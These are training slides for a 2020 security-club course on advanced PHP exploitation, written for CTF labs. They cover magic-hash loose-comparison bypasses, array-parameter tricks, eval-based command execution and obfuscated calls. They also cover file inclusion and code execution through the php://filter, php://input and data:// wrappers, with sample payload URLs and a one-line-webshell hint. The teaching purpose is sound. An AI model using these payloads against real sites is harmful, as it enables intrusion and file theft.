Advanced PHP!

Chess@NISRA

Agenda

  • 回憶一下啦

  • 一些小 Trick

  • 偽協議

bit.ly/php_sample
  • Windows

    • 安裝 PHP for Windows

  • Linux

    • sudo apt install -y php

  • MacOS

    • brew install php

 

Environment

PHP Sandbox

~ Memorial ~

PHP 程式碼區塊

<?php abcd ?>

宣告變數

$

語法結尾

;

註解

// <= 單行

/**/ <= 多行

  • int

  • float

  • Boolean

  • string

  • array

  • object

資料型態

字串

'$a'; // 不會解析

"$a"; // 會解析

字串串接

'aa' . 'bb';

// 'aabb'

噁之呼吸

第壹型

相等

==

 

===

WTF ...?

lab.nisra.net:8001

string

int

0e123456789

0

=

第貳型

你壞壞

md5('QNKCDZO')

 

 

 

'0e830400451993494058024219903391'

Array() ?

lab.nisra.net:8002

Array()
index.php?a[]=
  • md5(Array()) = null
  • sha1(Array()) = null
  • ereg(pat, Array()) = null
  • preg_match(pat, Array()) = false
  • strcmp(Array(), "abc") = null
  • strpos(Array(), "abc") = null
  • strlen(Array()) = null

第叁型

この花

{ }

[ ]

( )

< >

大括號 (花括號)

中括號 (方括號)

小括號

角括號

{ }

[ ]

( )

< >

scope

索引

參數

模板型態

{$a}

a[1] ?

{$a[1]}

{$a}[1]

${a[1]}

${phpinfo()}

第肆型

我要進來了

eval($你的輸入)

AIS3 2018 pre-exam

sushi

lab.nisra.net:8003

任意執行系統指令

system()

exec()

shell_exec()

重音符

( 波浪符那顆

`ls`

繞過長度限制

再把變數塞回來一次

${system($_)} | ls

${system(${system($_)} | ls)} | ls

Get Flag :D

第伍型

變來變去

"a"

'a'

"\141"

"\x61"

(string)"a"

(string)a

(a)

a

func()

func

()

+

(func)()

(f . (un) . c)()

(fun . /*test*/c)()

$str = 'cfnu';

($str[1] . $str[3] . $str[2] . $str[0])();

偽協議

  • LFI

  • RFI

  • RCE

... 

file://

file://<path>

  • 可以存取所有路徑的檔案
  • 絕對路徑

lab.nisra.net:8004

/var/www/html/

/var/www/

index.php?path=

file:///var/www/html/test.txt

index.php?path=

file:///var/www/test2.txt

CTF Time ~

flag.txt 的位置在 根目錄底下

php://

php://

filter/參數

input

  • 預設會去讀取 Post Body 的資料
  • 要開啟 allow_url_include
  • read=          // 以什麼方式讀取

  • resource=   // 必須給 !

php://filter/read=???/resource=

read可以選擇要讀取的編碼方式

  • convert.base64-<encode/decode>
  • string.rot13
  • string.toupper
  • string.tolower

index.php?path=

php://filter

/read=convert.base64-encode

/resource=index.php

index.php?path=

php://filter

/read=string.rot13

/resource=index.php

CTF Time ~

嘗試拿到

secret.php 中的

秘密

http://

http://xxx

  • 可以存取網路上的資源

lab.nisra.net:8005

pastebin.com

先寫一個簡單的 PHP

data://

data://<type>[;encode],<data>

data://

text/plain,

<?php echo 'hello';?>

data://

text/plain;

base64,

PD9waHAgZWNobyAnaGVsbG8nOz8+

data://

text/plain;

base64,

PD9waHAgZWNobyAnaGVsbG8nOz8%2B

CTF Time ~

hint

  • 一句話木馬

  • 用 find 去找到 flag.txt 的位置

~ END ~

[20200828] NISRA Enlightened 2020 - Advanced PHP

By Chess Kuo

[20200828] NISRA Enlightened 2020 - Advanced PHP

  • 374